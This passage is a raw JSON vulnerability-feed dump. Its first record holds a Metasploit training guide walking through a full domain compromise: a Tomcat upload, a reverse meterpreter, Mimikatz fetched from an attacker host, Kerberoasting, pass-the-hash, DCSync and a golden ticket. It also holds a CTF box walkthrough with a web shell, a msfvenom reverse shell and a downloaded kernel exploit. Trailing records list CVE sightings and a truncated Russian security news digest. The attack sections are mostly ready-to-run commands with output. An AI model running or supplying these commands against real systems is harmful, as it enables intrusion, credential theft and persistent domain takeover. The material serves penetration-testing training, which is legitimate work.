USERNAME tomcat\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set PASSWORD s3cretP@ss123!\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 10.0.0.5\nmsf6 exploit(multi/http/tomcat_mgr_upload) > set LPORT 4444\nmsf6 exploit(multi/http/tomcat_mgr_upload) > exploit\n\n# Result: Java Meterpreter session on DMZ host (192.168.1.50)\n```\n\n### Phase 2: Internal Reconnaissance\n\n**Step 2.1: Network Enumeration**\n\n```bash\n# From meterpreter session:\nmeterpreter > ipconfig\n# Shows:\n# Interface 11: 192.168.1.50 (DMZ host)\n# Interface 12: 10.10.10.0/24 (Internal network via VLAN)\n\n# Add route to internal network\nmeterpreter > run autoroute -s 10.10.10.0/24\nmsf6 > route add 10.10.10.0 255.255.255.0 1\n\n# Scan internal network through pivot\nmsf6 > use auxiliary/scanner/portscan/tcp\nmsf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24\nmsf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000\nmsf6 auxiliary(scanner/portscan/tcp) > set THREADS 20\nmsf6 auxiliary(scanner/portscan/tcp) > run\n\n# Results:\n# 10.10.10.10 - 22, 80, 443, 445, 3389 (Server)\n# 10.10.10.20 - 22, 80, 443, 3268, 636 (Domain Controller)\n```\n\n**Step 2.2: AD Enumeration**\n\n```bash\n# From meterpreter shell on DMZ:\nmeterpreter > shell\nC:\\> cd C:\\\\Windows\\\\Temp\nC:\\Windows\\Temp> curl http://10.0.0.5/PowerView.ps1 -o PowerView.ps1\nC:\\Windows\\Temp> powershell -ExecutionPolicy Bypass -File PowerView.ps1\nPS C:\\> Import-Module .\\PowerView.ps1\nPS C:\\> Get-NetDomain\n\n# Forest: securecorp.local\n# DomainControllers: DC01, DC02\n\nPS C:\\> Get-NetUser -SPN | Select-Object samaccountname,serviceprincipalname\n\n# Output:\n# samaccountname    serviceprincipalname\n# svc_sql           MSSQLSvc/sql01.securecorp.local\n# svc_backup        MSSQLSvc/backup.securecorp.local\n# svc_web           http/web.securecorp.local\n```\n\n### Phase 3: Kerberoasting\n\n**Step 3.1: Request TGS Tickets**\n\n```bash\n# From meterpreter with PowerShell:\nPS C:\\> IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1')\nPS C:\\> Invoke-Mimikatz -Command '\"kerberos::list /export\"'\n\n# This exports all TGS tickets\n# Alternative: use MSF module\nmsf6 > use auxiliary/admin/kerberos/ticket_export\nset SESSION 1\nset USER svc_sql\nrun\n\n# Crack with hashcat\nhashcat -m 13100 -a 0 tickets.kirbi /usr/share/wordlists/rockyou.txt\n# Result: svc_sql:MyStr0ngP@ssw0rd!\n```\n\n### Phase 4: Lateral Movement\n\n**Step 4.1: Pass-the-Hash to SQL Server**\n\n```bash\n# With cracked svc_sql hash:\nmsf6 > use exploit/windows/smb/psexec\nmsf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.30\nmsf6 exploit(windows/smb/psexec) > set SMBUser svc_sql\nmsf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99\nmsf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(windows/smb/psexec) > set LHOST 10.0.0.5\nmsf6 exploit(windows/smb/psexec) > exploit\n\n# New session on SQL Server (10.10.10.30)\n```\n\n**Step 4.2: Privilege Escalation to SYSTEM**\n\n```bash\n# On SQL Server session:\nmeterpreter > getsystem -t 3\n[*] Escalating to SYSTEM via reflective DLL...\n[*] Already at SYSTEM privilege level\n\nmeterpreter > getuid\nServer username: NT AUTHORITY\\SYSTEM\n```\n\n### Phase 5: Domain Dominance\n\n**Step 5.1: DCSync Attack**\n\n```bash\n# Load kiwi and extract krbtgt hash\nmeterpreter > load kiwi\nmeterpreter > dcsync_ntlm SECURECORP\\\\krbtgt\n\n# Output:\n# Hash: 31d6cfe0d16ae931b73c59d7e0c089c0\n# SID: S-1-5-21-1234567890-1234567890-1234567890\n\n# Also get administrator hash\nmeterpreter > dcsync_ntlm SECURECORP\\\\Administrator\n```\n\n**Step 5.2: Golden Ticket Attack**\n\n```bash\n# Create golden ticket\nmeterpreter > golden_ticket_create -d SECURECORP.LOCAL \\\n  -k 31d6cfe0d16ae931b73c59d7e0c089c0 \\\n  -s S-1-5-21-1234567890-1234567890-1234567890 \\\n  -u Administrator \\\n  -t /tmp/golden_ticket.kirbi\n\n# Use the ticket\nmeterpreter > kerberos_ticket_use /tmp/golden_ticket.kirbi\n\n# Verify with:\nmeterpreter > getuid\nServer username: SECURECORP\\Administrator\n\n# Now access Domain Controller\nmsf6 > use exploit/windows/smb/psexec\nmsf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.20\nmsf6 exploit(windows/smb/psexec) > set SMBUser Administrator\nmsf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\nmsf6 exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(windows/smb/psexec) > set LHOST 10.0.0.5\nmsf6 exploit(windows/smb/psexec) > exploit\n\n# Result: Meterpreter on Domain Controller as SYSTEM\n```\n\n### Phase 6: Documentation & Reporting\n\n**Step 6.1: Export All Data**\n\n```bash\n# Export database\nmsf6 > db_export -f xml /tmp/pentest_report.xml\n\n# Export credentials\nmsf6 > creds all\n\n# Export hosts and services\nmsf6 > hosts -o /tmp/hosts.csv\nmsf6 > services -o /tmp/services.csv\n\n# Export loot\nmsf6 > loot\n```\n\n**Step 6.2: Findings Summary**\n\n```\nFINDINGS SUMMARY\n================\n\nCritical Findings:\n1. CVE-2024-XXXX: Apache Tomcat Manager RCE (CVSS 9.8)\n   - Default credentials tomcat:s3cretP@ss123!\n   - Allows WAR file deployment\n   - Remote code execution as root/SYSTEM\n\n2. Kerberoasting: SPN accounts with weak passwords\n   - svc_sql password cracked: MyStr0ngP@ssw0rd!\n   - Allowed lateral movement to SQL Server\n\n3. DCSync: Domain admin via krbtgt hash extraction\n   - SYSTEM access on any domain server allows DCSync\n   - Golden ticket created for persistence\n\nImpact:\n- Full Domain Admin achieved\n- All domain credentials can be extracted\n- Persistent access established via golden ticket\n- Data exfiltration possible from any domain resource\n\nRecommendations:\n1. Remove default Tomcat credentials\n2. Implement strong passwords for SPN accounts\n3. Monitor for DCSync attacks (Event ID 4662)\n4. Implement privileged access workstations\n5. Deploy HoneyTokens for Kerberoast detection\n```\n\n---\n\n## Capstone 2: CTF Challenge \u2014 \"HackTheBox-Style Full Box\"\n\n### Challenge Setup\n\n**Target:** 192.168.56.101 (single VM, VulnHub style)\n\n**Objective:** Capture two flags: `user.txt` and `root.txt`\n\n**Phases:**\n1. Port scanning and enumeration\n2. Web exploitation\n3. Initial shell access\n4. Privilege escalation to user\n5. Root access and flag capture\n\n### Walkthrough\n\n**Step 1: Initial Scan**\n\n```bash\nmsfconsole -q\nmsf6 > db_nmap -sV -sC -A -p- -oA /tmp/htb_scan 192.168.56.101\n\n# Results:\n# PORT     STATE  SERVICE  VERSION\n# 22       open   ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1\n# 80       open   http     Apache 2.4.41 (Ubuntu)\n# 3306     open   mysql    MySQL 8.0.23\n```\n\n**Step 2: Web Enumeration**\n\n```bash\nmsf6 > use auxiliary/scanner/http/dir_scanner\nmsf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.56.101\nmsf6 auxiliary(scanner/http/dir_scanner) > run\n\n# Found: /admin (phpMyAdmin), /dashboard, /uploads\n```\n\n**Step 3: SQL Injection**\n\n```bash\n# Test for SQL injection on login form\nmsf6 > use auxiliary/scanner/http/sql_injection\n# Manual testing reveals: POST to /login with username parameter is vulnerable\n\n# Use sqlmap to confirm and extract data\n# From attacker machine (not MSF):\nsqlmap -u http://192.168.56.101/login --data=\"username=admin&password=test\" --dbs\n# Database: webapp\n# Extract credentials\nsqlmap -u http://192.168.56.101/login --data=\"username=admin&password=test\" -D webapp -T users --dump\n```\n\n**Step 4: phpMyAdmin Exploitation**\n\n```bash\n# From sqlmap results: root:RootP@ssw0rd!@mysql\n# Use phpMyAdmin to write web shell\nmsf6 > use auxiliary/admin/http/phpmyadmin_superuser\nset RHOSTS 192.168.56.101\nset USERNAME root\nset PASSWORD RootP@ssw0rd!@mysql\nrun\n\n# Write shell via INTO OUTFILE\nmsf6 > use auxiliary/admin/mysql/mysql_sql\nset SQL \"SELECT '' INTO OUTFILE '/var/www/html/shell.php'\"\nrun\n```\n\n**Step 5: Initial Shell**\n\n```bash\n# Access web shell\ncurl http://192.168.56.101/shell.php?cmd=whoami\n# www-data\n\n# Generate and upload meterpreter\nmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f elf -o /tmp/shell.elf\n# Upload via web shell\ncurl -F \"file=@/tmp/shell.elf\" http://192.168.56.101/upload\n# Execute via web shell\ncurl http://192.168.56.101/shell.php?cmd=chmod%20+x%20/tmp/shell.elf%3b/tmp/shell.elf\n```\n\n**Step 6: User Flag**\n\n```bash\n# Meterpreter session established\nmeterpreter > shell\n$ python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n$ cd /home\n$ ls\nubuntu\n$ cat /home/ubuntu/user.txt\nHTB{usr_fl4g_h3r3_m8r7}\n```\n\n**Step 7: Privilege Escalation**\n\n```bash\n# From meterpreter:\n$ find / -perm -4000 -type f 2>/dev/null\n/usr/bin/bash\n/usr/bin/sudo\n\n$ sudo -l\nUser ubuntu may run the following commands on this host:\n    (ALL) NOPASSWD: /usr/bin/python3\n\n$ sudo python3 -c 'import os; os.system(\"/bin/bash\")'\n# root shell\n\n$ cat /root/root.txt\nHTB{r00t_fl4g_h3r3_m8r7}\n```\n\n**Step 8: Alternative: Kernel Exploit**\n\n```bash\n# If sudo wasn't available:\n# Check kernel version\n$ uname -a\nLinux 5.4.0-77-generic #86-Ubuntu x86_64\n\n# Search for exploit\nsearchsploit linux kernel 5.4 priv esc\n# EDB: 45010.c - Ubuntu 18.04 privilege escalation\n\n# Download, compile, execute\n$ curl http://10.0.0.5/45010.c -o /tmp/exploit.c\n$ gcc /tmp/exploit.c -o /tmp/exploit\n$ chmod +x /tmp/exploit\n$ /tmp/exploit\n# root\n```\n\n---\n\n## Quick Reference: All Essential MSF Commands\n\n### Module Navigation\n```bash\nmsf6 > search type:exploit name:eternalblue platform:windows\nmsf6 > use exploit/windows/smb/ms17_010_eternalblue\nmsf6 exploit(...) > show options\nmsf6 exploit(...) > show payloads\nmsf6 exploit(...) > set RHOSTS 192.168.1.50\nmsf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(...) > set LHOST 10.0.0.5\nmsf6 exploit(...) > exploit\n```\n\n### Meterpreter Core\n```bash\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getpid\nmeterpreter > ps\nmeterpreter > migrate \nmeterpreter > shell\nmeterpreter > background\nmeterpreter > exit\n```\n\n### File Operations\n```bash\nmeterpreter > ls\nmeterpreter > pwd\nmeterpreter > cd /path\nmeterpreter > upload /local /remote\nmeterpreter > download /remote /local\nmeterpreter > search -d / -f *.txt\n```\n\n### Network Operations\n```bash\nmeterpreter > ipconfig\nmeterpreter > netstat\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50\nmeterpreter > run autoroute -s 10.10.10.0/24\n```\n\n### Credential Operations\n```bash\nmeterpreter > hashdump\nmeterpreter > load kiwi\nmeterpreter > creds\nmeterpreter > run post/windows/gather/credentials/credential_collector\n```\n\n### Post-Exploitation\n```bash\nmeterpreter > run post/windows/manage/migrate\nmeterpreter > run post/windows/gather/hashdump\nmeterpreter > run post/windows/gather/enum_logged_on_users\nmeterpreter > keyscan_start\nmeterpreter > keyscan_dump\n```\n\n### Database Operations\n```bash\nmsf6 > db_status\nmsf6 > hosts\nmsf6 > services\nmsf6 > creds\nmsf6 > loot\nmsf6 > notes\nmsf6 > db_import /tmp/scan.xml\nmsf6 > db_export -f xml /tmp/results.xml\n```\n\n### Resource Scripts\n```bash\nmsfconsole -q -r /tmp/script.rc\nmsf6 > makerc /tmp/ops.rc\nmsf6 > resource /tmp/script.rc\n```\n\n---\n\n", "creation_timestamp": "2026-06-13T10:28:11.000000Z"}, {"uuid": "24684e61-a803-4819-b798-683e4b6aa775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12008.yaml", "content": "", "creation_timestamp": "2026-06-11T07:44:46.000000Z"}, {"uuid": "0e83ff0b-cdd8-447c-9530-6399469a7c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-13)", "content": "", "creation_timestamp": "2026-06-13T00:00:00.000000Z"}, {"uuid": "2d935391-632b-4c94-a503-a00cb34a05c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-13)", "content": "", "creation_timestamp": "2026-06-13T00:00:00.000000Z"}, {"uuid": "65b7e28d-be08-43d2-b0de-4da79d670c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-14)", "content": "", "creation_timestamp": "2026-06-14T00:00:00.000000Z"}, {"uuid": "364dfb0c-ca82-4542-80bf-b75a62950ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-14)", "content": "", "creation_timestamp": "2026-06-14T00:00:00.000000Z"}, {"uuid": "431da8b6-1259-4002-8ac8-c099b490d315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:15:04.213258Z"}, {"uuid": "893aea0c-8351-48c4-87d8-ec8fe48f3d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-15)", "content": "", "creation_timestamp": "2026-06-15T00:00:00.000000Z"}, {"uuid": "4fb52d04-e9b5-44ea-a70e-15e9a8dfabe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-15)", "content": "", "creation_timestamp": "2026-06-15T00:00:00.000000Z"}, {"uuid": "837115b5-3f73-4321-8ee4-8798ac650983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/REDTalk_base/132", "content": "\u0414\u043e\u0431\u0440\u044b\u0439 \u0434\u0435\u043d\u044c, \u043a\u043e\u043b\u043b\u0435\u0433\u0438! \u2615\ufe0f\n\n\u041d\u043e\u0432\u0430\u044f \u043d\u0435\u0434\u0435\u043b\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u0440\u0430\u0437\u0433\u0430\u0440\u0435. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0432\u0430\u043c \u043d\u0430\u043b\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0447\u0430\u0448\u043a\u0443 \u043a\u043e\u0444\u0435 \u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0441 \u043d\u0430\u043c\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438!\n\n\n\ud83d\udc80\u0410\u0442\u0430\u043a\u0438 \u043d\u0430 IIS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 ASP. NET Machine Keys\n\n\ud83d\udd0d Microsoft Threat Intelligence \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 3,000 \u0443\u0442\u0435\u043a\u0448\u0438\u0445 ASP. NET machine keys, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 IIS-\u0441\u0435\u0440\u0432\u0435\u0440\u044b. \u042d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c ViewState-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c Godzilla Malware.  \n\n\u041a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0430?  \n\n     1\ufe0f\u20e3ViewState \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432 ASP. NET.  \n    2\ufe0f\u20e3 \u0414\u043b\u044f \u0435\u0433\u043e \u0437\u0430\u0449\u0438\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f ValidationKey \u0438 DecryptionKey.  \n     3\ufe0f\u20e3\u0415\u0441\u043b\u0438 \u044d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438 \u0443\u0442\u0435\u043a\u043b\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 ViewState \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0435\u0433\u043e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.  \n    4\ufe0f\u20e3 IIS \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ViewState \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.  \n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 Microsoft: \n \n    \u2705 \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 machine keys \u2014 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0439\u0442\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438.  \n    \u2705 \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e \u0431\u0430\u0437\u0435 \u0445\u0435\u0448\u0435\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439\n    \u2705 \u0420\u043e\u0442\u0438\u0440\u0443\u0439\u0442\u0435 machine keys \u2014 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.  \n    \u2705 \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 ASP. NET \u0434\u043e 4.8 \u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Antimalware Scan Interface (AMSI).  \n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u2014 Microsoft Blog\n\n\n \u2328\ufe0f\u0420\u0430\u0437\u0431\u043e\u0440 LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk\n\n\u0412 \u0441\u0435\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk (CVE-2024-12754), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e NT AUTHORITY\\SYSTEM.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\n\u041a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e, \u0441\u0435\u0440\u0432\u0438\u0441 AnyDesk \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 \u0432 C:\\Windows\\Temp\\, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430. \u041d\u043e \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u044d\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0441 \u0442\u0435\u043c \u0436\u0435 \u0438\u043c\u0435\u043d\u0435\u043c. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0441\u043b\u0443\u0436\u0431\u0430 AnyDesk \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c.\n\n    \ud83d\udcbb\u0414\u043b\u044f \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u043a\u043e\u043f\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445, \u0440\u0435\u0431\u044f\u0442\u0430 \u0438\u0437  @RedTeambro \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 Proof-of-Concept, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c:  POC\n\n    \ud83d\udcd6 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c: LPE AnyDesk research\n\n\n\ud83d\udee1\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android\n\nGoogle \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Android, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0435 47 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\nCVE-2024-53104: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 USB Video Class (UVC) \u044f\u0434\u0440\u0430 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0434\u0435\u043e\u043a\u0430\u0434\u0440\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 